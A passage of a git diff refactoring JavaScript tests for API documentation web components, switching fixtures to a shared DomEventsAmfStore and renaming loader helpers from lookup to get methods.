         const op = element.shadowRoot.querySelector('api-operation-document');
@@ -250,7 +269,7 @@ describe('ApiResourceDocumentElement', () => {
 
       it('always sets tryItButton to false when tryItPanel is set', async () => {
         const data = loader.lookupEndpoint(demoModel, '/messages');
-        const element = await basicFixture(demoModel, data['@id']);
+        const element = await basicFixture(data['@id']);
         element.tryItButton = true;
         element.tryItPanel = true;
         await nextFrame();
@@ -260,7 +279,7 @@ describe('ApiResourceDocumentElement', () => {
 
       it('sets the asyncApi', async () => {
         const data = loader.lookupEndpoint(demoModel, '/messages');
-        const element = await basicFixture(demoModel, data['@id']);
+        const element = await basicFixture(data['@id']);
         element.asyncApi = true;
         await nextFrame();
         const op = element.shadowRoot.querySelector('api-operation-document');
@@ -269,16 +288,20 @@ describe('ApiResourceDocumentElement', () => {
     });
 
     describe('Rendering HTTP editors', () => {
+      before(() => {
+        store.amf = demoModel;
+      });
+
       it('renders HTTP request editors for all operations', async () => {
         const data = loader.lookupEndpoint(demoModel, '/people');
-        const element = await tryItPanelFixture(demoModel, data['@id']);
+        const element = await tryItPanelFixture(data['@id']);
         const elements = element.shadowRoot.querySelectorAll('api-request');
         assert.lengthOf(elements, 4);
       });
 
       it('collects request panel values for the code snippets', async () => {
         const data = loader.lookupEndpoint(demoModel, '/people');
-        const element = await tryItPanelFixture(demoModel, data['@id']);
+        const element = await tryItPanelFixture(data['@id']);
         await aTimeout(201);
         const values = element[requestValues];
         assert.typeOf(values, 'object', 'has the [requestValues] property');
@@ -287,7 +310,7 @@ describe('ApiResourceDocumentElement', () => {
 
       it('renders the code snippets', async () => {
         const data = loader.lookupEndpoint(demoModel, '/people');
-        const element = await tryItPanelFixture(demoModel, data['@id']);
+        const element = await tryItPanelFixture(data['@id']);
         await aTimeout(201);
         const elements = element.shadowRoot.querySelectorAll('http-code-snippets');
         assert.lengthOf(elements, 4);
@@ -295,7 +318,7 @@ describe('ApiResourceDocumentElement', () => {
 
       it('sets the initial request values on the code snippets', async () => {
         const data = loader.lookupEndpoint(demoModel, '/people');
-        const element = await tryItPanelFixture(demoModel, data['@id']);
+        const element = await tryItPanelFixture(data['@id']);
         await aTimeout(201);
         const editor = element.shadowRoot.querySelector('api-request');
         const { domainId } = editor;
diff --git a/test/elements/ApiResponseDocumentElement.test.js b/test/elements/ApiResponseDocumentElement.test.js
index 79a2da7..19704f5 100644
--- a/test/elements/ApiResponseDocumentElement.test.js
+++ b/test/elements/ApiResponseDocumentElement.test.js
@@ -1,26 +1,27 @@
 import { fixture, assert, nextFrame, html, aTimeout } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
 import '../../define/api-response-document.js';
 
 /** @typedef {import('../../').ApiResponseDocumentElement} ApiResponseDocumentElement */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
-/** @typedef {import('../../src/helpers/amf').Response} Response */
+/** @typedef {import('../../src/helpers/api').ApiResponse} ApiResponse */
 
 describe('ApiResponseDocumentElement', () => {
   const loader = new AmfLoader();
+  const store = new DomEventsAmfStore(window);
+  store.listen();
 
   /**
-   * @param {AmfDocument} amf
-   * @param {Response=} shape
+   * @param {ApiResponse=} shape
    * @param {string=} mimeType
    * @returns {Promise<ApiResponseDocumentElement>}
    */
-  async function basicFixture(amf, shape, mimeType) {
+  async function basicFixture(shape, mimeType) {
     const element = await fixture(html`<api-response-document 
       .queryDebouncerTimeout="${0}" 
-      .amf="${amf}" 
-      .domainModel="${shape}"
+      .response="${shape}"
       .mimeType="${mimeType}"
     ></api-response-document>`);
     await aTimeout(0);
@@ -33,11 +34,12 @@ describe('ApiResponseDocumentElement', () => {
       let model;
       before(async () => {
         model = await loader.getGraph(compact);
+        store.amf = model;
       });
 
       it('renders the response headers', async () => {
-        const data = loader.lookupResponses(model, '/people', 'put')[1];
-        const element = await basicFixture(model, data);
+        const data = loader.getResponses(model, '/people', 'put')[1];
+        const element = await basicFixture(data);
 
         assert.isTrue(element.hasHeaders, 'hasHeaders is true');
 
@@ -49,8 +51,8 @@ describe('ApiResponseDocumentElement', () => {
       });
 
       it('ignores headers section when no headers', async () => {
-        const data = loader.lookupResponses(model, '/people', 'get')[1];
-        const element = await basicFixture(model, data);
+        const data = loader.getResponses(model, '/people', 'get')[1];
+        const element = await basicFixture(data);
 
         assert.isFalse(element.hasHeaders, 'hasHeaders is true');
 
@@ -64,19 +66,20 @@ describe('ApiResponseDocumentElement', () => {
       let model;
       before(async () => {
         model = await loader.getGraph(compact);
+        store.amf = model;
       });
 
       it('renders the annotations when in the object', async () => {
-        const data = loader.lookupResponses(model, '/people', 'put')[1];
-        const element = await basicFixture(model, data);
+        const data = loader.getResponses(model, '/people', 'put')[1];
+        const element = await basicFixture(data);
 
         const node = element.shadowRoot.querySelector('api-annotation-document');
         assert.ok(node);
       });
 
       it('ignores annotations when not defined', async () => {
-        const data = loader.lookupResponses(model, '/people', 'get')[1];
-        const element = await basicFixture(model, data);
+        const data = loader.getResponses(model, '/people', 'get')[1];
+        const element = await basicFixture(data);
 
         const node = element.shadowRoot.querySelector('api-annotation-document');
         assert.notOk(node);
@@ -88,19 +91,20 @@ describe('ApiResponseDocumentElement', () => {
       let model;
       before(async () => {
         model = await loader.getGraph(compact);
+        store.amf = model;
       });
 
       it('renders the description when defined', async () => {
-        const data = loader.lookupResponses(model, '/people', 'put')[1];
-        const element = await basicFixture(model, data);
+        const data = loader.getResponses(model, '/people', 'put')[1];
+        const element = await basicFixture(data);
 
         const node = element.shadowRoot.querySelector('arc-marked');
         assert.ok(node);
       });
 
       it('ignores annotations when not defined', async () => {
-        const data = loader.lookupResponses(model, '/people/{personId}', 'get')[1];
-        const element = await basicFixture(model, data);
+        const data = loader.getResponses(model, '/people/{personId}', 'get')[1];
+        const element = await basicFixture(data);
 
         const node = element.shadowRoot.querySelector('arc-marked');
         assert.notOk(node);
@@ -112,19 +116,20 @@ describe('ApiResponseDocumentElement', () => {
       let model;
       before(async () => {
         model = await loader.getGraph(compact);
+        store.amf = model;
       });
 
       it('renders the payload schema', async () => {
-        const data = loader.lookupResponses(model, '/people', 'put')[1];
-        const element = await basicFixture(model, data);
+        const data = loader.getResponses(model, '/people', 'put')[1];
+        const element = await basicFixture(data);
 
         const node = element.shadowRoot.querySelector('api-payload-document');
         assert.ok(node, 'has the payload document');
       });
 
       it('ignores the payload when not defined', async () => {
-        const data = loader.lookupResponses(model, '/people/{personId}', 'put')[1];
-        const element = await basicFixture(model, data);
+        const data = loader.getResponses(model, '/people/{personId}', 'put')[1];
+        const element = await basicFixture(data);
 
         const node = element.shadowRoot.querySelector('api-payload-document');
         assert.notOk(node);
@@ -136,11 +141,12 @@ describe('ApiResponseDocumentElement', () => {
       let model;
       before(async () => {
         model = await loader.getGraph(compact);
+        store.amf = model;
       });
 
       it('renders the response media type selector', async () => {
-        const data = loader.lookupResponses(model, '/people', 'put')[1];
-        const element = await basicFixture(model, data);
+        const data = loader.getResponses(model, '/people', 'put')[1];
+        const element = await basicFixture(data);
 
         const section = element.shadowRoot.querySelectorAll('.params-section')[1];
         const selector = section.querySelector('.media-type-selector');
@@ -151,8 +157,8 @@ describe('ApiResponseDocumentElement', () => {
       });
 
       it('ignores the media type when not defined', async () => {
-        const data = loader.lookupResponses(model, '/people', 'get')[1];
-        const element = await basicFixture(model, data);
+        const data = loader.getResponses(model, '/people', 'get')[1];
+        const element = await basicFixture(data);
 
         const section = element.shadowRoot.querySelectorAll('.params-section')[0];
         const selector = section.querySelector('.media-type-selector');
@@ -160,8 +166,8 @@ describe('ApiResponseDocumentElement', () => {
       });
 
       it('selecting a mime type changes the payload', async () => {
-        const data = loader.lookupResponses(model, '/people', 'put')[1];
-        const element = await basicFixture(model, data);
+        const data = loader.getResponses(model, '/people', 'put')[1];
+        const element = await basicFixture(data);
 
         const section = element.shadowRoot.querySelectorAll('.params-section')[1];
         const selector = section.querySelector('.media-type-selector');
@@ -181,11 +187,12 @@ describe('ApiResponseDocumentElement', () => {
       let model;
       before(async () => {
         model = await loader.getGraph(compact, 'oas-callbacks');
+        store.amf = model;
       });
 
       it('renders the links table', async () => {
-        const data = loader.lookupResponses(model, '/subscribe', 'post')[1];
-        const element = await basicFixture(model, data);
+        const data = loader.getResponses(model, '/subscribe', 'post')[1];
+        const element = await basicFixture(data);
 
         const title = element.shadowRoot.querySelector('.links-header');
         assert.ok(title, 'has the links title');
@@ -193,8 +200,8 @@ describe('ApiResponseDocumentElement', () => {
       });
 
       it('renders titles for each link', async () => {
-        const data = loader.lookupResponses(model, '/subscribe', 'post')[0];
-        const element = await basicFixture(model, data);
+        const data = loader.getResponses(model, '/subscribe', 'post')[0];
+        const element = await basicFixture(data);
 
         const titles = element.shadowRoot.querySelectorAll('.link-header');
         assert.lengthOf(titles, 2, 'has 2 links');
@@ -204,8 +211,8 @@ describe('ApiResponseDocumentElement', () => {
       });
 
       it('renders a single header', async () => {
-        const data = loader.lookupResponses(model, '/subscribe', 'post')[1];
-        const element = await basicFixture(model, data);
+        const data = loader.getResponses(model, '/subscribe', 'post')[1];
+        const element = await basicFixture(data);
 
         const nodes = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll('.link-header'));
         assert.lengthOf(nodes, 1);
@@ -213,8 +220,8 @@ describe('ApiResponseDocumentElement', () => {
       });
 
       it('renders the operation id', async () => {
-        const data = loader.lookupResponses(model, '/subscribe', 'post')[0];
-        const element = await basicFixture(model, data);
+        const data = loader.getResponses(model, '/subscribe', 'post')[0];
+        const element = await basicFixture(data);
 
         const nodes = element.shadowRoot.querySelectorAll('.operation-id');
         assert.lengthOf(nodes, 1, 'has only a single operationId');
@@ -224,24 +231,24 @@ describe('ApiResponseDocumentElement', () => {
       });
 
       it('does no render operation id when missing', async () => {
-        const data = loader.lookupResponses(model, '/subscribe', 'post')[1];
-        const element = await basicFixture(model, data);
+        const data = loader.getResponses(model, '/subscribe', 'post')[1];
+        const element = await basicFixture(data);
 
         const node = element.shadowRoot.querySelector('.operation-id');
         assert.notOk(node);
       });
 
       it('renders mapping table', async () => {
-        const data = loader.lookupResponses(model, '/subscribe', 'post')[0];
-        const element = await basicFixture(model, data);
+        const data = loader.getResponses(model, '/subscribe', 'post')[0];
+        const element = await basicFixture(data);
 
         const nodes = element.shadowRoot.querySelectorAll('.mapping-table');
         assert.lengthOf(nodes, 2);
       });
 
       it('renders single mapping', async () => {
-        const data = loader.lookupResponses(model, '/subscribe', 'post')[0];
-        const element = await basicFixture(model, data);
+        const data = loader.getResponses(model, '/subscribe', 'post')[0];
+        const element = await basicFixture(data);
 
         const node = element.shadowRoot.querySelectorAll('.mapping-table')[0];
         const rows = node.querySelectorAll('tr');
@@ -250,8 +257,8 @@ describe('ApiResponseDocumentElement', () => {
       });
 
       it('renders multiple mapping', async () => {
-        const data = loader.lookupResponses(model, '/subscribe', 'post')[0];
-        const element = await basicFixture(model, data);
+        const data = loader.getResponses(model, '/subscribe', 'post')[0];
+        const element = await basicFixture(data);
 
         const node = element.shadowRoot.querySelectorAll('.mapping-table')[1];
         const rows = node.querySelectorAll('tr');
@@ -260,8 +267,8 @@ describe('ApiResponseDocumentElement', () => {
       });
 
       it('renders mapping values', async () => {
-        const data = loader.lookupResponses(model, '/subscribe', 'post')[0];
-        const element = await basicFixture(model, data);
+        const data = loader.getResponses(model, '/subscribe', 'post')[0];
+        const element = await basicFixture(data);
 
         const node = element.shadowRoot.querySelectorAll('.mapping-table')[0];
         const row = node.querySelectorAll('tr')[1];
@@ -277,11 +284,12 @@ describe('ApiResponseDocumentElement', () => {
       let model;
       before(async () => {
         model = await loader.getGraph(compact, 'stevetest');
+        store.amf = model;
       });
 
       it('does not render type name when it is "default"', async () => {
-        const data = loader.lookupResponse(model, '/legal/termsConditionsAcceptReset', 'delete', '400');
-        const element = await basicFixture(model, data);
+        const data = loader.getResponse(model, '/legal/termsConditionsAcceptReset', 'delete', '400');
+        const element = await basicFixture(data);
         
         const doc = element.shadowRoot.querySelector('api-payload-document');
         const schema = doc.shadowRoot.querySelector('api-schema-document');
diff --git a/test/elements/ApiSchemaDocumentElement.test.js b/test/elements/ApiSchemaDocumentElement.test.js
index 422a5ee..1e3bcdb 100644
--- a/test/elements/ApiSchemaDocumentElement.test.js
+++ b/test/elements/ApiSchemaDocumentElement.test.js
@@ -1,5 +1,6 @@
 import { fixture, assert, nextFrame, html, aTimeout } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
 import { 
   schemaValue,
   expandedValue,
@@ -15,35 +16,33 @@ import '../../define/api-schema-document.js';
 
 describe('ApiSchemaDocumentElement', () => {
   const loader = new AmfLoader();
+  const store = new DomEventsAmfStore(window);
+  store.listen();
   const JsonType = 'application/json';
 
   /**
-   * @param {AmfDocument} amf
-   * @param {DomainElement=} shape
+   * @param {ApiShapeUnion=} shape
    * @param {string=} mime
    * @returns {Promise<ApiSchemaDocumentElement>}
    */
-  async function basicFixture(amf, shape, mime) {
+  async function basicFixture(shape, mime) {
     const element = await fixture(html`<api-schema-document 
-      .queryDebouncerTimeout="${0}" 
-      .amf="${amf}" 
-      .domainModel="${shape}"
+      .queryDebouncerTimeout="${0}"
+      .schema="${shape}"
       .mimeType="${mime}"></api-schema-document>`);
     await aTimeout(0);
     return /** @type ApiSchemaDocumentElement */ (element);
   }
 
   /**
-   * @param {AmfDocument} amf
-   * @param {DomainElement=} shape
+   * @param {ApiShapeUnion=} shape
    * @param {string=} mime
    * @returns {Promise<ApiSchemaDocumentElement>}
    */
-  async function examplesFixture(amf, shape, mime) {
+  async function examplesFixture(shape, mime) {
     const element = await fixture(html`<api-schema-document 
-      .queryDebouncerTimeout="${0}" 
-      .amf="${amf}" 
-      .domainModel="${shape}"
+      .queryDebouncerTimeout="${0}"
+      .schema="${shape}"
       .mimeType="${mime}"
       forceExamples></api-schema-document>`);
     await aTimeout(0);
@@ -51,15 +50,13 @@ describe('ApiSchemaDocumentElement', () => {
   }
 
   /**
-   * @param {AmfDocument} amf
    * @param {ApiShapeUnion} shape
    * @param {string=} mime
    * @returns {Promise<ApiSchemaDocumentElement>}
    */
-  async function schemaFixture(amf, shape, mime) {
+  async function schemaFixture(shape, mime) {
     const element = await fixture(html`<api-schema-document 
-      .queryDebouncerTimeout="${0}" 
-      .amf="${amf}" 
+      .queryDebouncerTimeout="${0}"
       .mimeType="${mime}"
       .schema="${shape}"
       forceExamples></api-schema-document>`);
@@ -74,57 +71,58 @@ describe('ApiSchemaDocumentElement', () => {
         let model;
         before(async () => {
           model = await loader.getGraph(compact);
+          store.amf = model;
         });
 
         /** @type ApiSchemaDocumentElement */
         let element;
         beforeEach(async () => {
-          element = await basicFixture(model);
+          element = await basicFixture();
         });
 
         it('is accessible for scalar type', async () => {
-          const data = loader.lookupShape(model, 'ScalarType');
-          element.domainModel = data;
+          const data = loader.getShape(model, 'ScalarType');
+          element.schema = data;
           element.processGraph();
           await nextFrame();
           await assert.isAccessible(element);
         });
 
         it('is accessible for NilShape type', async () => {
-          const data = loader.lookupShape(model, 'NilType');
-          element.domainModel = data;
+          const data = loader.getShape(model, 'NilType');
+          element.schema = data;
           element.processGraph();
           await nextFrame();
           await assert.isAccessible(element);
         });
 
         it('is accessible for AnyShape type', async () => {
-          const data = loader.lookupShape(model, 'AnyType');
-          element.domainModel = data;
+          const data = loader.getShape(model, 'AnyType');
+          element.schema = data;
           element.processGraph();
           await nextFrame();
           await assert.isAccessible(element);
         });
 
         it('is accessible for UnionShape type', async () => {
-          const data = loader.lookupShape(model, 'Unionable');
-          element.domainModel = data;
+          const data = loader.getShape(model, 'Unionable');
+          element.schema = data;
           element.processGraph();
           await nextFrame();
           await assert.isAccessible(element);
         });
 
         it('is accessible for ArrayShape type', async () => {
-          const data = loader.lookupShape(model, 'ArrayType');
-          element.domainModel = data;
+          const data = loader.getShape(model, 'ArrayType');
+          element.schema = data;
           element.processGraph();
           await nextFrame();
           await assert.isAccessible(element);
         });
 
         it('is accessible for ArrayShape type', async () => {
-          const data = loader.lookupShape(model, 'ComplexRecursive');
-          element.domainModel = data;
+          const data = loader.getShape(model, 'ComplexRecursive');
+          element.schema = data;
           element.processGraph();
           await nextFrame();
           await assert.isAccessible(element);
@@ -136,13 +134,14 @@ describe('ApiSchemaDocumentElement', () => {
         let model;
         before(async () => {
           model = await loader.getGraph(compact);
+          store.amf = model;
         });
 
         /** @type ApiSchemaDocumentElement */
         let element;
         beforeEach(async () => {
-          const data = loader.lookupShape(model, 'ScalarType');
-          element = await basicFixture(model, data);
+          const data = loader.getShape(model, 'ScalarType');
+          element = await basicFixture(data);
         });
 
         it('sets the [schemaValue]', async () => {
@@ -163,11 +162,11 @@ describe('ApiSchemaDocumentElement', () => {
           assert.deepEqual(element[selectedUnionsValue], {});
         });
 
-        it('computes the schema from the domainId property', () => {
-          const id = element.domainModel['@id'];
+        it('computes the schema from the domainId property', async () => {
+          const { id } = element.schema;
           element[schemaValue] = undefined;
           element.domainId = id;
-          element.processGraph();
+          await element.processGraph();
           assert.ok(element[schemaValue], 'has the value');
           assert.equal(element[schemaValue].name, 'ScalarType', 'has the processed shape');
         });
@@ -179,14 +178,15 @@ describe('ApiSchemaDocumentElement', () => {
           let model;
           before(async () => {
             model = await loader.getGraph(compact);
+            store.amf = model;
           });
 
           /** @type ApiSchemaDocumentElement */
           let element;
 
           it('renders a scalar with properties', async () => {
-            const data = loader.lookupShape(model, 'DescribedScalar');
-            element = await basicFixture(model, data);
+            const data = loader.getShape(model, 'DescribedScalar');
+            element = await basicFixture(data);
             const titleLabel = element.shadowRoot.querySelector('.schema-header .schema-title .label');
             assert.equal(titleLabel.textContent.trim(), 'DescribedScalar', 'has the schema title');
             const markdown = element.shadowRoot.querySelector('.api-description arc-marked');
@@ -199,8 +199,8 @@ describe('ApiSchemaDocumentElement', () => {
           });
 
           it('renders a simple scalar without properties', async () => {
-            const data = loader.lookupShape(model, 'BooleanType');
-            element = await basicFixture(model, data);
+            const data = loader.getShape(model, 'BooleanType');
+            element = await basicFixture(data);
             const titleLabel = element.shadowRoot.querySelector('.schema-header .schema-title .label');
             assert.equal(titleLabel.textContent.trim(), 'BooleanType', 'has the schema title');
             const markdown = element.shadowRoot.querySelector('.api-description arc-marked');
@@ -217,14 +217,15 @@ describe('ApiSchemaDocumentElement', () => {
           let model;
           before(async () => {
             model = await loader.getGraph(compact);
+            store.amf = model;
           });
 
           /** @type ApiSchemaDocumentElement */
           let element;
 
           it('renders the NIL type description', async () => {
-            const data = loader.lookupShape(model, 'NilType');
-            element = await basicFixture(model, data);
+            const data = loader.getShape(model, 'NilType');
+            element = await basicFixture(data);
             const titleLabel = element.shadowRoot.querySelector('.schema-header .schema-title .label');
             assert.equal(titleLabel.textContent.trim(), 'NilType', 'has the schema title');
             const markdown = element.shadowRoot.querySelector('.api-description arc-marked');
@@ -240,14 +241,15 @@ describe('ApiSchemaDocumentElement', () => {
           let model;
           before(async () => {
             model = await loader.getGraph(compact);
+            store.amf = model;
           });
 
           /** @type ApiSchemaDocumentElement */
           let element;
 
           it('renders the base properties', async () => {
-            const data = loader.lookupShape(model, 'AppPerson');
-            element = await basicFixture(model, data, JsonType);
+            const data = loader.getShape(model, 'AppPerson');
+            element = await basicFixture(data, JsonType);
             const titleLabel = element.shadowRoot.querySelector('.schema-header .schema-title .label');
             assert.equal(titleLabel.textContent.trim(), 'A person resource', 'has the schema title');
             const markdown = element.shadowRoot.querySelector('.api-description arc-marked');
@@ -260,8 +262,8 @@ describe('ApiSchemaDocumentElement', () => {
           });
 
           it('renders the example', async () => {
-            const data = loader.lookupShape(model, 'AppPerson');
-            element = await basicFixture(model, data, JsonType);
+            const data = loader.getShape(model, 'AppPerson');
+            element = await basicFixture(data, JsonType);
 
             const examples = element.shadowRoot.querySelectorAll('.schema-example');
             assert.lengthOf(examples, 1, 'has a single example');
@@ -276,8 +278,8 @@ describe('ApiSchemaDocumentElement', () => {
           });
 
           it('renders object properties', async () => {
-            const data = loader.lookupShape(model, 'AppPerson');
-            element = await basicFixture(model, data, JsonType);
+            const data = loader.getShape(model, 'AppPerson');
+            element = await basicFixture(data, JsonType);
 
             const properties = element.shadowRoot.querySelectorAll('.property-container');
             // this is to be changed if the # of properties in the AppPerson type change.
@@ -285,8 +287,8 @@ describe('ApiSchemaDocumentElement', () => {
           });
 
           it('renders the name and the display name', async () => {
-            const data = loader.lookupShape(model, 'AppPerson');
-            element = await basicFixture(model, data, JsonType);
+            const data = loader.getShape(model, 'AppPerson');
+            element = await basicFixture(data, JsonType);
 
             const property = element.shadowRoot.querySelector('.property-container[data-name="favouriteTime"]');
             const name = property.querySelector('.param-name');
@@ -296,8 +298,8 @@ describe('ApiSchemaDocumentElement', () => {
           });
 
           it('renders a required property', async () => {
-            const data = loader.lookupShape(model, 'AppPerson');
-            element = await basicFixture(model, data, JsonType);
+            const data = loader.getShape(model, 'AppPerson');
+            element = await basicFixture(data, JsonType);
 
             const property = element.shadowRoot.querySelector('.property-container[data-name="favouriteTime"]');
             const name = property.querySelector('.param-name');
@@ -312,8 +314,8 @@ describe('ApiSchemaDocumentElement', () => {
           });
 
           it('renders a property type', async () => {
-            const data = loader.lookupShape(model, 'AppPerson');
-            element = await basicFixture(model, data, JsonType);
+            const data = loader.getShape(model, 'AppPerson');
+            element = await basicFixture(data, JsonType);
 
             const property = element.shadowRoot.querySelector('.property-container[data-name="favouriteTime"]');
             const type = property.querySelector('.param-type');
@@ -323,8 +325,8 @@ describe('ApiSchemaDocumentElement', () => {
           });
 
           it('rendering complex properties', async () => {
-            const data = loader.lookupShape(model, 'AppPerson');
-            element = await basicFixture(model, data);
+            const data = loader.getShape(model, 'AppPerson');
+            element = await basicFixture(data);
 
             const complexProperty = element.shadowRoot.querySelector('.property-container.complex');
             assert.ok(complexProperty, 'has a complex property');
@@ -338,8 +340,8 @@ describe('ApiSchemaDocumentElement', () => {
           });
 
           it('toggling complex properties', async () => {
-            const data = loader.lookupShape(model, 'AppPerson');
-            element = await basicFixture(model, data);
+            const data = loader.getShape(model, 'AppPerson');
+            element = await basicFixture(data);
 
             const complexProperty = element.shadowRoot.querySelector('.property-container.complex');
             const decorator = /** @type HTMLElement */ (complexProperty.querySelector('.property-decorator'));
@@ -354,8 +356,8 @@ describe('ApiSchemaDocumentElement', () => {
           });
 
           it('renders a closed detail with a property properties', async () => {
-            const data = loader.lookupShape(model, 'AppPerson');
-            element = await basicFixture(model, data);
+            const data = loader.getShape(model, 'AppPerson');
+            element = await basicFixture(data);
 
             const property = element.shadowRoot.querySelector('.property-container[data-name="favouriteNumber"]');
             const detail = /** @type HTMLDetailsElement */ (property.querySelector('.property-details'));
@@ -372,8 +374,8 @@ describe('ApiSchemaDocumentElement', () => {
           });
 
           it('renders properties inline when less than 3', async () => {
-            const data = loader.lookupShape(model, 'AppPerson');
-            element = await basicFixture(model, data);
+            const data = loader.getShape(model, 'AppPerson');
+            element = await basicFixture(data);
 
             const property = element.shadowRoot.querySelector('.property-container[data-name="name"]');
             const detail = /** @type HTMLDetailsElement */ (property.querySelector('.property-details'));
@@ -384,8 +386,8 @@ describe('ApiSchemaDocumentElement', () => {
           });
 
           it('renders the description', async () => {
-            const data = loader.lookupShape(model, 'AppPerson');
-            element = await basicFixture(model, data);
+            const data = loader.getShape(model, 'AppPerson');
+            element = await basicFixture(data);
 
             const property = element.shadowRoot.querySelector('.property-container[data-name="favouriteTime"]');
             const desc = property.querySelector('.api-description');
@@ -393,8 +395,8 @@ describe('ApiSchemaDocumentElement', () => {
           });
 
           it('renders array properties', async () => {
-            const data = loader.lookupShape(model, 'PropertyArray');
-            element = await basicFixture(model, data);
+            const data = loader.getShape(model, 'PropertyArray');
+            element = await basicFixture(data);
 
             const property = element.shadowRoot.querySelector('.property-container[data-name="data"]');
 
@@ -403,8 +405,8 @@ describe('ApiSchemaDocumentElement', () => {
           });
 
           it('renders array property that is an complex', async () => {
-            const data = loader.lookupShape(model, 'PropertyArray');
-            element = await basicFixture(model, data);
+            const data = loader.getShape(model, 'PropertyArray');
+            element = await basicFixture(data);
 
             const property = element.shadowRoot.querySelector('.property-container[data-name="complex"]');
 
@@ -413,8 +415,8 @@ describe('ApiSchemaDocumentElement', () => {
           });
 
           it('renders a union property', async () => {
-            const data = loader.lookupShape(model, 'PropertyArray');
-            element = await basicFixture(model, data);
+            const data = loader.getShape(model, 'PropertyArray');
+            element = await basicFixture(data);
 
             const property = element.shadowRoot.querySelector('.property-container[data-name="complex"]');
             const decorator = /** @type HTMLElement */ (property.querySelector('.property-decorator'));
@@ -449,13 +451,14 @@ describe('ApiSchemaDocumentElement', () => {
           let model;
           before(async () => {
             model = await loader.getGraph(compact);
+            store.amf = model;
           });
 
           /** @type ApiSchemaDocumentElement */
           let element;
           beforeEach(async () => {
-            const data = loader.lookupShape(model, 'Unionable');
-            element = await basicFixture(model, data, JsonType);
+            const data = loader.getShape(model, 'Unionable');
+            element = await basicFixture(data, JsonType);
           });
 
           it('renders the union selector', () => {
@@ -543,6 +546,7 @@ describe('ApiSchemaDocumentElement', () => {
           let model;
           before(async () => {
             model = await loader.getGraph(compact);
+            store.amf = model;
           });
 
           /** @type ApiSchemaDocumentElement */
@@ -550,8 +554,8 @@ describe('ApiSchemaDocumentElement', () => {
           /** @type HTMLElement */
           let container;
           beforeEach(async () => {
-            const data = loader.lookupShape(model, 'PropertyArray');
-            element = await basicFixture(model, data, JsonType);
+            const data = loader.getShape(model, 'PropertyArray');
+            element = await basicFixture(data, JsonType);
 
             const property = element.shadowRoot.querySelector('.property-container[data-name="complex"]');
             const decorator = /** @type HTMLElement */ (property.querySelector('.property-decorator'));
@@ -635,13 +639,14 @@ describe('ApiSchemaDocumentElement', () => {
           let model;
           before(async () => {
             model = await loader.getGraph(compact);
+            store.amf = model;
           });
 
           /** @type ApiSchemaDocumentElement */
           let element;
           beforeEach(async () => {
-            const data = loader.lookupShape(model, 'ArrayType');
-            element = await examplesFixture(model, data, JsonType);
+            const data = loader.getShape(model, 'ArrayType');
+            element = await examplesFixture(data, JsonType);
           });
 
           it('renders array example', () => {
@@ -688,13 +693,14 @@ describe('ApiSchemaDocumentElement', () => {
           let model;
           before(async () => {
             model = await loader.getGraph(compact, 'Petstore-v2');
+            store.amf = model;
           });
 
           /** @type ApiSchemaDocumentElement */
           let element;
           beforeEach(async () => {
-            const data = loader.lookupShape(model, 'Pet');
-            element = await examplesFixture(model, data, JsonType);
+            const data = loader.getShape(model, 'Pet');
+            element = await examplesFixture(data, JsonType);
           });
 
           it('renders a group for each member', () => {
@@ -737,13 +743,14 @@ describe('ApiSchemaDocumentElement', () => {
           let model;
           before(async () => {
             model = await loader.getGraph(compact);
+            store.amf = model;
           });
 
           /** @type ApiSchemaDocumentElement */
           let element;
           beforeEach(async () => {
-            const data = loader.lookupShape(model, 'RecursiveShape');
-            element = await examplesFixture(model, data, JsonType);
+            const data = loader.getShape(model, 'RecursiveShape');
+            element = await examplesFixture(data, JsonType);
           });
 
           it('renders the recursive pill in the property', () => {
@@ -770,14 +777,15 @@ describe('ApiSchemaDocumentElement', () => {
           let model;
           before(async () => {
             model = await loader.getGraph(compact);
+            store.amf = model;
           });
 
           /** @type ApiSchemaDocumentElement */
           let element;
 
           it('renders the file shape', async () => {
-            const data = loader.lookupShape(model, 'FileType');
-            element = await examplesFixture(model, data, JsonType);
+            const data = loader.getShape(model, 'FileType');
+            element = await examplesFixture(data, JsonType);
             
             const detail = /** @type HTMLDetailsElement */ (element.shadowRoot.querySelector('.property-details'));
             assert.notOk(detail, 'has no detail element');
@@ -796,8 +804,8 @@ describe('ApiSchemaDocumentElement', () => {
           });
 
           it('renders the file property', async () => {
-            const data = loader.lookupShape(model, 'FilePropertyType');
-            element = await examplesFixture(model, data, JsonType);
+            const data = loader.getShape(model, 'FilePropertyType');
+            element = await examplesFixture(data, JsonType);
 
             const container = element.shadowRoot.querySelector('.property-container[data-name="filetype"]');
 
@@ -824,13 +832,14 @@ describe('ApiSchemaDocumentElement', () => {
         let model;
         before(async () => {
           model = await loader.getGraph(compact, 'read-only-properties');
+          store.amf = model;
         });
 
         /** @type ApiSchemaDocumentElement */
         let element;
         beforeEach(async () => {
-          const data = loader.lookupShape(model, 'Article');
-          element = await basicFixture(model, data);
+          const data = loader.getShape(model, 'Article');
+          element = await basicFixture(data);
         });
 
         it('renders the readonly property by default', () => {
@@ -856,22 +865,23 @@ describe('ApiSchemaDocumentElement', () => {
         let model;
         before(async () => {
           model = await loader.getGraph(compact, 'APIC-631');
+          store.amf = model;
         });
 
         /** @type ApiSchemaDocumentElement */
         let element;
 
         it('renders first union options as "List of String"', async () => {
-          const data = loader.lookupShape(model, 'test2');
-          element = await basicFixture(model, data);
+          const data = loader.getShape(model, 'test2');
+          element = await basicFixture(data);
           
           const firstToggle = element.shadowRoot.querySelector('.union-toggle');
           assert.equal(firstToggle.textContent.trim().toLowerCase(), 'list of string');
         });
 
         it('does not render name for inline type', async () => {
-          const data = loader.lookupShape(model, 'test3');
-          element = await basicFixture(model, data);
+          const data = loader.getShape(model, 'test3');
+          element = await basicFixture(data);
 
           const propertyName = element.shadowRoot.querySelector('.param-label');
           assert.notExists(propertyName);
@@ -881,8 +891,8 @@ describe('ApiSchemaDocumentElement', () => {
         });
 
         it('renders "List of Number" data type', async () => {
-          const data = loader.lookupShape(model, 'test8');
-          element = await basicFixture(model, data);
+          const data = loader.getShape(model, 'test8');
+          element = await basicFixture(data);
 
           const property = element.shadowRoot.querySelector('.property-container[data-name="names8"]');
